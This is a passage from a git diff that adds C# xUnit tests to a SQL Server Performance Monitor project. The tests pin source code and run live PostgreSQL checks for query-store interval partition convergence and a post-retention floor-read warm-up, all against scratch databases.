+                if (File.Exists(candidate))
+                {
+                    return File.ReadAllText(candidate);
+                }
+            }
+
+            throw new FileNotFoundException(file + " not found above " + callerFile);
+        }
+    }
+}
+
+/// <summary>
+/// Source pins for the convergence and background split (#5571 review H1, M1), which the live tests above prove by behavior.
+/// These catch the rewrite before it reaches a database.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class QueryStoreIntervalConvergencePinTests
+{
+    private static string Source([CallerFilePath] string callerFile = "")
+    {
+        var relative = Path.Combine("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreIntervalPartitions.cs");
+        for (var dir = new DirectoryInfo(Path.GetDirectoryName(callerFile)!); dir is not null; dir = dir.Parent)
+        {
+            var candidate = Path.Combine(dir.FullName, relative);
+            if (File.Exists(candidate))
+            {
+                return File.ReadAllText(candidate);
+            }
+        }
+
+        throw new FileNotFoundException("QueryStoreIntervalPartitions.cs not found above " + callerFile);
+    }
+
+    private static string Between(string source, string start, string end)
+    {
+        var from = source.IndexOf(start, StringComparison.Ordinal);
+        Assert.True(from >= 0, start + " moved or was renamed");
+        var to = source.IndexOf(end, from, StringComparison.Ordinal);
+        Assert.True(to > from, "the end of " + start + " could not be found");
+        return source.Substring(from, to - from);
+    }
+
+    [Fact]
+    public void TheHourlyConvergenceStep_NeverValidatesAndNeverAnalyzes()
+    {
+        var source = Source();
+        var converge = Between(source, "public static async Task<StepResult> ConvergeUnpromotedAsync(", "/// Phase A step 2, run only by the background loop");
+        var maintenance = Between(source, "public static async Task<StepResult> RunMaintenanceAsync(", "public static Task RunDelayedAsync(");
+
+        foreach (var body in new[] { converge, maintenance })
+        {
+            Assert.DoesNotContain("ValidateAsync(", body, StringComparison.Ordinal);
+            Assert.DoesNotContain("AnalyzeAsync(", body, StringComparison.Ordinal);
+            Assert.DoesNotContain("AnalyzeIfDueAsync(", body, StringComparison.Ordinal);
+            Assert.DoesNotContain("Task.Delay(", body, StringComparison.Ordinal);
+        }
+
+        /* One attempt, no sleeping: the retry count is zero. */
+        Assert.Contains("TimeSpan.Zero, 0, reArmValid: false", converge, StringComparison.Ordinal);
+        Assert.Contains("TimeSpan.Zero, 0, reArmValid: true", converge, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBackgroundLoop_RepeatsUntilShutdown_AndOwnsTheValidateAndTheDailyAnalyze()
+    {
+        var source = Source();
+        var loop = Between(source, "internal static async Task RunDelayedAsync(", "private static async Task<StepOutcome?> TryStepAsync(");
+
+        Assert.Contains("for (var pass = 0; ; pass++)", loop, StringComparison.Ordinal);
+        Assert.Contains("await Task.Delay(interval, cancellationToken)", loop, StringComparison.Ordinal);
+        Assert.Contains("\"analyze\", analyze", loop, StringComparison.Ordinal);
+        Assert.Contains("RunPromotionAsync(connection, table, DateTime.UtcNow", source, StringComparison.Ordinal);
+        Assert.Contains("AnalyzeIfDueAsync(connection, table, DateTime.UtcNow", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheAnalyze_HasALockTimeout_AndIsOnlyOnPostgres18AndLater()
+    {
+        var source = Source();
+        var analyze = Between(source, "public static async Task<StepResult> AnalyzeAsync(", "public static async Task<StepResult> AnalyzeIfDueAsync(");
+
+        Assert.Contains("LockTimeoutSql", analyze, StringComparison.Ordinal);
+        Assert.Contains("IsLockTimeout(ex)", analyze, StringComparison.Ordinal);
+        Assert.Contains("PostgreSqlVersion.Major >= AnalyzeOnlyMajorVersion", analyze, StringComparison.Ordinal);
+        Assert.Equal(18, QueryStoreIntervalPartitions.AnalyzeOnlyMajorVersion);
+        Assert.Equal("ANALYZE ONLY collect.query_store_interval_wide;", QueryStoreIntervalPartitions.AnalyzeSql(QueryStoreIntervalPartitions.Wide, true));
+        Assert.Equal("ANALYZE collect.query_store_interval_wide;", QueryStoreIntervalPartitions.AnalyzeSql(QueryStoreIntervalPartitions.Wide, false));
+    }
+
+    [Fact]
+    public void TheArmReadsTheLegacyMax_UnderTheLockAndAStatementTimeout_ThroughTheIndex()
+    {
+        var source = Source();
+        var arm = Between(source, "internal static async Task<StepResult> ArmCoreAsync(", "/// The hourly convergence step for a table that is not promoted");
+        var read = Between(source, "internal static async Task<DateTime?> ReadLegacyMaxAsync(", "/// Phase A step 1.");
+
+        Assert.True(
+            arm.IndexOf("IN ACCESS EXCLUSIVE MODE", StringComparison.Ordinal) < arm.IndexOf("ReadLegacyMaxAsync(", StringComparison.Ordinal),
+            "the maximum is read after the lock");
+        Assert.Contains("SET LOCAL statement_timeout", read, StringComparison.Ordinal);
+        Assert.Contains("LegacyFirstExecIndexUsableSql", read, StringComparison.Ordinal);
+        Assert.Contains("ROLLBACK TO SAVEPOINT legacy_max", read, StringComparison.Ordinal);
+        Assert.Contains("RESET statement_timeout", read, StringComparison.Ordinal);
+        Assert.Equal("collect.idx_query_store_interval_wide_first_exec_legacy", QueryStoreIntervalPartitions.Wide.LegacyFirstExecIndex);
+    }
+
+    [Fact]
+    public void TheRound2Fixes_AreInTheProductText()
+    {
+        var source = Source();
+        var arm = Between(source, "internal static async Task<StepResult> ArmCoreAsync(", "private static void WarnFarFutureMax(");
+        var validate = Between(source, "public static async Task<StepResult> ValidateAsync(", "private static async Task<StepResult> DropViolatedCheckAsync(");
+        var converge = Between(source, "public static async Task<StepResult> ConvergeUnpromotedAsync(", "/// Phase A step 2, run only by the background loop");
+        var dropViolated = Between(source, "private static async Task<StepResult> DropViolatedCheckAsync(", "Task<StepResult> PromoteAsync(");
+
+        /* M1: a far-future legacy maximum is never armed over; the transaction ends before the CHECK is added. */
+        Assert.True(
+            arm.LastIndexOf("IsLegacyMaxBeyondHorizon(", StringComparison.Ordinal) is var m1 && m1 > arm.IndexOf("ReadLegacyMaxAsync(", StringComparison.Ordinal)
+            && m1 < arm.IndexOf("AddCheckSql(", StringComparison.Ordinal),
+            "the horizon test sits between the maximum read and the ADD CONSTRAINT");
+        Assert.Contains("RollbackAsync", arm[arm.LastIndexOf("IsLegacyMaxBeyondHorizon(", StringComparison.Ordinal)..arm.IndexOf("AddCheckSql(", StringComparison.Ordinal)], StringComparison.Ordinal);
+
+        /* #5589: the same test also runs first, on an unlocked read, so a far-future row never requests ACCESS EXCLUSIVE (it would cancel autovacuum). */
+        var firstTest = arm.IndexOf("IsLegacyMaxBeyondHorizon(", StringComparison.Ordinal);
+        Assert.True(firstTest < arm.LastIndexOf("IsLegacyMaxBeyondHorizon(", StringComparison.Ordinal), "the horizon test runs twice");
+        Assert.True(
+            arm.IndexOf("ReadLegacyMaxUnlockedAsync(", StringComparison.Ordinal) is var pre && pre > 0
+            && pre < firstTest && firstTest < arm.IndexOf("BeginTransactionAsync(", StringComparison.Ordinal)
+            && firstTest < arm.IndexOf("ACCESS EXCLUSIVE MODE", StringComparison.Ordinal),
+            "the unlocked read and its horizon test come before the lock transaction");
+        Assert.Contains("WarnFarFutureMax(", arm[firstTest..arm.IndexOf("BeginTransactionAsync(", StringComparison.Ordinal)], StringComparison.Ordinal);
+
+        /* L1: the guard is derived from the deadline and the re-arm window. */
+        Assert.Contains("ValidateGuard = TimeSpan.FromSeconds(ValidateTimeoutSeconds) + ReArmWithin;", source, StringComparison.Ordinal);
+
+        /* L2: the server enforces the VALIDATE deadline, set before the VALIDATE runs. */
+        var timeout = validate.IndexOf("SET LOCAL statement_timeout = '{ValidateTimeoutSeconds}s'", StringComparison.Ordinal);
+        Assert.True(timeout > 0 && timeout < validate.IndexOf("ValidateSql(table)", StringComparison.Ordinal), "statement_timeout is set before the VALIDATE");
+
+        /* L3: a promote that throws does not skip the re-arm that follows it. */
+        var promoteAt = converge.IndexOf("PromoteAsync(", StringComparison.Ordinal);
+        Assert.True(promoteAt > 0 && converge.IndexOf("catch (Exception ex) when (ex is not OperationCanceledException)", promoteAt, StringComparison.Ordinal) > promoteAt, "the promote is in a try with a catch");
+        Assert.True(converge.IndexOf("catch (", promoteAt, StringComparison.Ordinal) < converge.IndexOf("ShouldReArm(", promoteAt, StringComparison.Ordinal));
+
+        /* L4: an unknown maximum is RetryLater, so the loop does not re-run Phase A. */
+        Assert.Contains("if (!legacyMax.HasValue)", dropViolated, StringComparison.Ordinal);
+        Assert.Contains("StepOutcome.RetryLater", dropViolated, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalFloorWarmUpTests.cs b/Darling/Darling.Tests/QueryStoreIntervalFloorWarmUpTests.cs
new file mode 100644
index 0000000000..73d69e23f4
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalFloorWarmUpTests.cs
@@ -0,0 +1,631 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5581: after a retention drain removes the oldest rows of an interval table, the read gate's floor read
+/// (<c>MIN(first_execution_time) WHERE server_id = $1</c>) walks the index from that end and makes a heap fetch for
+/// every dead entry vacuum has not removed yet. <see cref="QueryStoreIntervalFloorWarmUp"/> runs the shipped
+/// floor reads once per server at the end of the retention pass, so a user's first read finds the entries marked.
+///
+/// <para>Source pins first (the warm-up runs only the two shipped constants, and runs after the last purge), then
+/// live tests on a scratch database with autovacuum off on the table: the premise (a drain with no warm-up leaves
+/// the first read walking the dead entries), the fix (the same drain through the retention pass leaves the first
+/// read with few heap fetches), a locked table (skipped and logged, the purge still succeeds), a server-list
+/// failure and a cancel (logged, never thrown).</para>
+/// </summary>
+/* #1776 own-store: everything live here lives inside its own ScratchPostgres database, so it cannot race live
+   collection or any other class's tables. */
+public sealed class QueryStoreIntervalFloorWarmUpTests
+{
+    private const string SkipReason =
+        "Set DARLING_TEST_PG to a Postgres connection string to run the #5581 interval floor warm-up live tests.";
+
+    /// <summary>Expired rows seeded per server. Large enough that "near the deleted count" and "a handful" cannot be confused.</summary>
+    private const int ExpiredPerServer = 20_000;
+
+    private const int KeptPerServer = 200;
+
+    private static readonly int[] ServerIds = { 1, 2 };
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    public sealed record IntervalTable(string Name, int HorizonDays, IntervalFloorTable Kind)
+    {
+        public string Qualified => "collect." + Name;
+
+        /// <summary>The renamed pre-partitioning table (#5571): on a store that is not promoted yet it holds every row, and it is where the retention pass deletes row by row.</summary>
+        public string Legacy => (Kind == IntervalFloorTable.Wide ? QueryStoreIntervalPartitions.Wide : QueryStoreIntervalPartitions.Latest).Legacy;
+
+        public string FloorSql => Kind == IntervalFloorTable.Wide
+            ? QueryStoreIntervalWide.PlainTableFloorSql
+            : QueryStoreIntervalLatest.PlainTableFloorSql;
+
+        public override string ToString() => Name;
+    }
+
+    private static IntervalTable WideTable => new(
+        QueryStoreIntervalWide.TableName, DarlingRetention.QueryStoreIntervalWideRetentionDays, IntervalFloorTable.Wide);
+
+    public static TheoryData<IntervalTable> Tables => new()
+    {
+        new IntervalTable(
+            QueryStoreIntervalWide.TableName, DarlingRetention.QueryStoreIntervalWideRetentionDays, IntervalFloorTable.Wide),
+        new IntervalTable(
+            QueryStoreIntervalLatest.TableName, DarlingRetention.QueryStoreIntervalLatestRetentionDays, IntervalFloorTable.Latest),
+    };
+
+    /* ---- source pins ---------------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// The warm-up executes the two shipped <c>PlainTableFloorSql</c> constants and nothing else against an interval
+    /// table: it names each constant once, its <c>FloorSql</c> hands back the constants themselves, and the only
+    /// statements it builds are the lock timeout, the registry read and the floor read. A copy of the floor read, or a
+    /// <c>SELECT DISTINCT server_id</c> on the big table, would walk a different plan from the gate's.
+    /// </summary>
+    [Fact]
+    public void TheWarmUp_ExecutesOnlyTheTwoShippedFloorConstants()
+    {
+        var source = ReadSource("Darling", "PerformanceMonitor.Darling.Service", "QueryStoreIntervalFloorWarmUp.cs");
+        var code = Regex.Replace(source, @"^\s*///.*$", string.Empty, RegexOptions.Multiline);
+
+        Assert.Single(Regex.Matches(code, @"QueryStoreIntervalWide\.PlainTableFloorSql"));
+        Assert.Single(Regex.Matches(code, @"QueryStoreIntervalLatest\.PlainTableFloorSql"));
+        Assert.Equal(QueryStoreIntervalWide.PlainTableFloorSql, QueryStoreIntervalFloorWarmUp.FloorSql(IntervalFloorTable.Wide));
+        Assert.Equal(QueryStoreIntervalLatest.PlainTableFloorSql, QueryStoreIntervalFloorWarmUp.FloorSql(IntervalFloorTable.Latest));
+
+        var commands = Regex.Matches(code, @"new NpgsqlCommand\(\s*([^,]+),", RegexOptions.Singleline)
+            .Select(m => Regex.Replace(m.Groups[1].Value, @"\s+", " ").Trim())
+            .ToArray();
+        Assert.Equal(
+            new[] { "\"SET lock_timeout = \" + lockTimeoutMilliseconds.ToString(CultureInfo.InvariantCulture)", "sql", "ServerIdsSql" },
+            commands);
+
+        /* The only table the file reads by name is the registry; no DISTINCT over a fact table. */
+        Assert.DoesNotMatch(@"\bFROM\s+collect\.(?!servers\b)", code);
+        Assert.DoesNotContain("DISTINCT", code, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("\"SELECT server_id FROM collect.servers ORDER BY server_id\"", code, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The sweep calls the warm-up exactly once, after the last <c>PurgeOneAsync</c> (so never between two purges),
+    /// handing it the two interval tables' <c>PurgeIntervalTableAsync</c> results (#5573), and not through a size
+    /// threshold.
+    /// </summary>
+    [Fact]
+    public void TheSweep_CallsTheWarmUpOnce_AfterTheLastPurge_WithTheTwoIntervalPurgeResults()
+    {
+        var source = ReadSource("Darling", "PerformanceMonitor.Darling.Service", "DarlingRetention.cs");
+        var calls = Regex.Matches(source, @"QueryStoreIntervalFloorWarmUp\.RunAfterDrainAsync\(\s*postgres, intervalWidePartitions, intervalLatestPartitions, logger, cancellationToken\)");
+        Assert.Single(calls);
+
+        /* The sweep body ends where BuildRunRecordSummary is defined; PurgeOneAsync is defined further down. */
+        var sweep = source.Substring(0, source.IndexOf("internal static (string Status, string Message) BuildRunRecordSummary(", StringComparison.Ordinal));
+        var lastPurge = sweep.LastIndexOf("PurgeOneAsync(", StringComparison.Ordinal);
+        var lastCaveatPrune = sweep.LastIndexOf("CollectionCaveatStore.PruneAsync(", StringComparison.Ordinal);
+        Assert.True(calls[0].Index > lastPurge, "the warm-up runs after the last PurgeOneAsync call");
+        Assert.True(calls[0].Index > lastCaveatPrune, "the warm-up runs after the last prune");
+        Assert.True(
+            calls[0].Index > source.IndexOf("var (status, message) = BuildRunRecordSummary(", StringComparison.Ordinal),
+            "the warm-up runs after the run-record, so its time is not counted as the purge's");
+    }
+
+    /// <summary>
+    /// Which interval purge results warm (#5573): rows deleted, or a failed part (it may have committed batches before
+    /// it failed). A pass that only dropped whole day partitions, or found nothing to do, does not.
+    /// </summary>
+    [Theory]
+    [InlineData(0, 0, 0, false)]
+    [InlineData(3, 0, 0, false)]
+    [InlineData(1, 1, 0, true)]
+    [InlineData(2, 20_000, 0, true)]
+    [InlineData(0, 0, 1, true)]
+    [InlineData(2, 0, 1, true)]
+    public void OnlyAPurgeThatDeletedRowsOrFailed_LeavesDeadEntries(int purged, int rowsDeleted, int failed, bool expected) =>
+        Assert.Equal(
+            expected,
+            QueryStoreIntervalFloorWarmUp.LeftDeadEntries(new DarlingRetention.IntervalPartitionPurge(purged, rowsDeleted, failed)));
+
+    /* ---- live ----------------------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// The premise: a drain that deletes the oldest rows of two servers, with nothing reading afterwards, leaves
+    /// each server's first floor read walking the dead index entries. Without this the bound below could pass on a
+    /// plan that never had the problem.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task ADrainWithNoWarmUp_LeavesTheFirstFloorReadWalkingTheDeadEntries(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenSeededAsync(scratch, table, ct);
+
+            /* The drain's effect without the sweep: delete exactly the expired rows. */
+            await ExecuteAsync(
+                connection,
+                $"DELETE FROM {table.Qualified} WHERE first_execution_time < now() AT TIME ZONE 'UTC' - INTERVAL '{table.HorizonDays} days'",
+                ct);
+
+            /* Only the FIRST read counts: the index is ordered by first_execution_time across all servers, so the
+               first server's walk passes (and marks) the second server's dead entries too. */
+            var read = await FirstReadAsync(connection, table, ServerIds[0], ct);
+            Assert.True(
+                read.Buffers >= ExpiredPerServer,
+                $"the first read after an unwarmed drain should walk about {ExpiredPerServer} dead entries ({read})");
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The fix: the same drain through the retention pass ends with the warm-up, so each server's first floor read
+    /// after the pass fetches only a handful of heap tuples, and the pass logs one line for the table naming its
+    /// servers, its time and its slowest server. Only the first read per server counts: EXPLAIN ANALYZE marks the
+    /// entries it walks, too.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(Tables))]
+    public async Task TheRetentionPass_WarmsEachServersFloorRead_SoTheFirstReadAfterItIsCheap(IntervalTable table)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenSeededAsync(scratch, table, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var log = new CapturingTestLogger();
+
+            var summary = await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, log, ct);
+
+            Assert.True(summary.RowsDeleted >= ExpiredPerServer * ServerIds.Length, log.Joined);
+            Assert.Equal(KeptPerServer * ServerIds.Length, await CountAsync(connection, table.Qualified, ct));
+            Assert.Contains(
+                $"Interval floor warm-up for {table.Kind.ToString().ToLowerInvariant()}: {ServerIds.Length} server(s) warmed, 0 skipped on a lock, 0 failed",
+                log.Joined, StringComparison.Ordinal);
+            Assert.Contains("slowest server", log.Joined, StringComparison.Ordinal);
+
+            foreach (var serverId in ServerIds)
+            {
+                var read = await FirstReadAsync(connection, table, serverId, ct);
+                var holders = read.Buffers > 1_000 ? await HorizonHoldersAsync(connection, ct) : string.Empty;
+                if (read.Buffers > 1_000 && !holders.EndsWith(":: none", StringComparison.Ordinal))
+                {
+                    /* PostgreSQL marks an index entry dead only when its row is dead to every open snapshot, and the
+                       suite runs other classes against this cluster: one of them has a transaction open that predates
+                       the drain, so the entries stay live and no read can mark them. That is the documented limit of
+                       the warm-up (#5581), not a defect; the premise and wiring tests above still ran. */
+                    bodySucceeded = true;
+                    Assert.Skip("A transaction open on this cluster predates the drain, so no read can mark its dead entries: " + holders);
+                }
+
+                Assert.True(
+                    read.Buffers <= 1_000 && (read.HeapFetches ?? 0) <= 1_000,
+                    $"server {serverId}: the first read after the warm-up should touch a handful of pages, not the {ExpiredPerServer} dead entries the drain left ({read}); horizon holders: {holders}; {string.Join(" | ", log.Lines.Where(l => l.Contains("warm-up", StringComparison.Ordinal)))}");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// A table with an ACCESS EXCLUSIVE lock queued or held (a schema upgrade step, a partition step) makes each
+    /// warm-up read time out on <c>lock_timeout</c>: every server is skipped and logged inside the timeout instead of
+    /// waiting on the lock, and the purge that preceded it still reports success. The lock is taken the moment the
+    /// sweep logs its summary, which is after the last purge and before the warm-up, so the purge's own DELETEs are
+    /// not the statements that block.
+    /// </summary>
+    [Fact]
+    public async Task ALockedTable_SkipsEachServer_LogsIt_AndThePurgeStillSucceeds()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var table = WideTable;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenSeededAsync(scratch, table, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            await using var locker = new NpgsqlConnection(scratch.ConnectionString);
+            await locker.OpenAsync(ct);
+            var inner = new CapturingTestLogger();
+            var log = new LockOnSummaryLogger(inner, locker, table.Qualified);
+
+            var summary = await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, log, ct);
+
+            Assert.True(log.Locked, "the test's lock was taken before the warm-up");
+            Assert.True(summary.RowsDeleted >= ExpiredPerServer * ServerIds.Length, inner.Joined);
+            Assert.Contains(
+                $"Interval floor warm-up for wide: 0 server(s) warmed, {ServerIds.Length} skipped on a lock, 0 failed",
+                inner.Joined, StringComparison.Ordinal);
+            Assert.Contains("the table is locked", inner.Joined, StringComparison.Ordinal);
+            Assert.Equal(0, inner.CountAtLevel(LogLevel.Error));
+            /* The warm-up's own logged time (not the whole pass's, which includes the purge and varies with load):
+               each skipped server costs about its lock timeout. */
+            var logged = Regex.Match(inner.Joined, @"Interval floor warm-up for wide: .*?, (\d+) ms total");
+            Assert.True(logged.Success, inner.Joined);
+            Assert.True(
+                long.Parse(logged.Groups[1].Value, CultureInfo.InvariantCulture)
+                    < ServerIds.Length * (QueryStoreIntervalFloorWarmUp.LockTimeoutMilliseconds + 10_000),
+                $"the warm-up took {logged.Groups[1].Value} ms; each skipped server should cost about its lock timeout");
+
+            await using (var rollback = new NpgsqlCommand("ROLLBACK", locker))
+            {
+                await rollback.ExecuteNonQueryAsync(ct);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// A warm-up that cannot read the server list (here the registry table is gone) logs the failure and the purge
+    /// around it still returns its summary with the rows it deleted.
+    /// </summary>
+    [Fact]
+    public async Task AWarmUpFailure_IsLogged_AndDoesNotFailThePurge()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var table = WideTable;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await OpenSeededAsync(scratch, table, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            await ExecuteAsync(connection, "ALTER TABLE collect.servers RENAME TO servers_renamed_for_test", ct);
+            var log = new CapturingTestLogger();
+
+            var summary = await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, log, ct);
+
+            Assert.True(summary.RowsDeleted >= ExpiredPerServer * ServerIds.Length, log.Joined);
+            Assert.Contains("could not read the server list", log.Joined, StringComparison.Ordinal);
+            Assert.Equal(0, log.CountAtLevel(LogLevel.Error));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A cancelled token stops the warm-up quietly: it reports the cancel in its result and throws nothing.</summary>
+    [Fact]
+    public async Task ACancel_StopsTheWarmUp_WithoutThrowing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var log = new CapturingTestLogger();
+            using var cancelled = new CancellationTokenSource();
+            await cancelled.CancelAsync();
+
+            var result = await QueryStoreIntervalFloorWarmUp.WarmAsync(postgres, IntervalFloorTable.Wide, log, cancelled.Token);
+            await QueryStoreIntervalFloorWarmUp.RunAfterDrainAsync(
+                postgres, new DarlingRetention.IntervalPartitionPurge(1, 5, 0), new DarlingRetention.IntervalPartitionPurge(1, 5, 0), log, cancelled.Token);
+
+            Assert.True(result.Cancelled);
+            Assert.Equal(0, result.ServersWarmed);
+            Assert.Equal(0, log.CountAtLevel(LogLevel.Error));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// #5573: a promoted store whose pass only DROPS a whole expired day partition (and the legacy table, whose bound
+    /// has expired) deletes no row, so it leaves no dead index entry (a dropped partition takes its indexes with it)
+    /// and the pass logs no warm-up line, for either table. The pass is still a real drain: the partition is gone.
+    /// </summary>
+    [Fact]
+    public async Task APassThatOnlyDropsWholePartitions_DoesNotWarm()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var log = new CapturingTestLogger();
+            var utcNow = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc); // #5608: the test clock override reaches the seed
+
+            var dropped = new List<string>();
+            foreach (var table in QueryStoreIntervalPartitions.All)
+            {
+                /* Promoted far enough back that the legacy bound and the first day partitions are older than the
+                   cutoff: a whole expired day exists, holding a row. */
+                await QueryStoreIntervalRetentionTestKit.PromoteAsync(
+                    connection, table, utcNow.AddDays(-(table.HorizonDays + 4)), log, ct);
+                await QueryStoreIntervalPartitions.CreateAheadAsync(connection, table, utcNow, log, ct);
+                var wholeDay = QueryStoreIntervalPartitions.DayStart(utcNow.AddDays(-table.HorizonDays)).AddDays(-1);
+                Assert.True(await QueryStoreIntervalRetentionTestKit.ExistsAsync(connection, table.DayPartition(wholeDay), ct));
+                await QueryStoreIntervalRetentionTestKit.InsertAsync(connection, table, wholeDay.AddHours(12), 1, ct);
+                dropped.Add(table.DayPartition(wholeDay));
+            }
+
+            await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, log, ct);
+
+            foreach (var partition in dropped)
+            {
+                Assert.False(await QueryStoreIntervalRetentionTestKit.ExistsAsync(connection, partition, ct), partition + " was dropped by the pass");
+            }
+
+            Assert.DoesNotContain("Interval floor warm-up", log.Joined, StringComparison.Ordinal);
+            Assert.Equal(0, log.CountAtLevel(LogLevel.Error));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A drain that deleted nothing does not warm: the gate's cost is one index probe then, and the pass logs no warm-up line.</summary>
+    [Fact]
+    public async Task ADrainThatDeletedNothing_DoesNotWarm()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var log = new CapturingTestLogger();
+
+            await DarlingRetention.PurgeAsync(postgres, timescaleAvailable: false, log, ct);
+
+            Assert.DoesNotContain("Interval floor warm-up", log.Joined, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /* ---- helpers -------------------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// Migrates the scratch store, registers <see cref="ServerIds"/>, turns autovacuum off on the table, seeds each
+    /// server with expired rows (older than the horizon) and kept rows (yesterday), then vacuums once by hand so the
+    /// visibility map is set: that is what makes a dead entry cost a heap fetch after the drain, as on a real store.
+    /// </summary>
+    private static async Task<NpgsqlConnection> OpenSeededAsync(ScratchPostgres scratch, IntervalTable table, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        foreach (var serverId in ServerIds)
+        {
+            await ExecuteAsync(
+                connection,
+                $"INSERT INTO collect.servers (server_id, server_name, display_name, is_enabled, created_date, modified_date) VALUES ({serverId.ToString(CultureInfo.InvariantCulture)}, 'warm-{serverId.ToString(CultureInfo.InvariantCulture)}', 'warm-{serverId.ToString(CultureInfo.InvariantCulture)}', TRUE, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC')",
+                ct);
+        }
+
+        /* #5573: the table is partitioned, and a partitioned parent has no storage options. On a store that is not
+           promoted, the legacy table is attached as MINVALUE..MAXVALUE, so every seeded row lands in it and the
